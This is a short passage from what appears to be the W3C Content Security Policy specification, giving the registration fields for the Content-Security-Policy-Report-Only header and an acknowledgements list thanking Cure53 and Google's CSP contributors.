- Applicable protocol
- http
- Status
- standard
- Author/Change controller
- W3C
- Specification document
- This specification (See § 3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field )
11. Acknowledgements
Lots of people are awesome. For instance:
-
Mario and all of Cure53.
-
Artur Janc, Michele Spagnuolo, Lukas Weichselbaum, Jochen Eisinger, and the rest of Google’s CSP Cabal.